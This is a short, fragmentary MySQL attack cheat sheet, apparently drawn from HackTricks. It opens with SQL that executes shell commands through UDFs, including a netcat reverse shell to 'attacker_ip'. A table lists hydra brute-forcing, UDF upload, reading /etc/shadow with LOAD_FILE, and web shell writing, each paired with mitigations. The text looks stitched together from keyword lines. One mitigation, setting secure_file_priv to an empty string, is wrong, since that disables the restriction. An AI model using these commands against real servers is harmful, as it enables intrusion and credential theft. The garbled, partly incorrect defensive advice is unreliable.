SELECT sys_eval('id'); SELECT sys_exec('nc -e /bin/sh attacker_ip 4444 &');
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| Attack Vector | Verified HackTricks Technique | Defensive Mitigation | |---------------|-------------------------------|----------------------| | Credential brute‑force | hydra -l root -P wordlist.txt mysql://target | Enforce account lockout, use strong passwords, restrict network access to 3306 | | UDF privilege escalation | Uploading udf.so to plugin directory | Set secure_file_priv = "" or a specific safe directory; run MySQL as non‑root user | | File read via LOAD_FILE | SELECT LOAD_FILE('/etc/shadow') | Disable FILE privilege unless absolutely necessary; use SELinux/apparmor | | Writing web shell | INTO OUTFILE to webroot | Set secure_file_priv to a directory not accessible by the web server; use prepared statements against SQLi | use strong passwords
User-Defined Functions (UDF) for remote code execution mysql hacktricks verified
Exploiting insecure defaults & exposed ports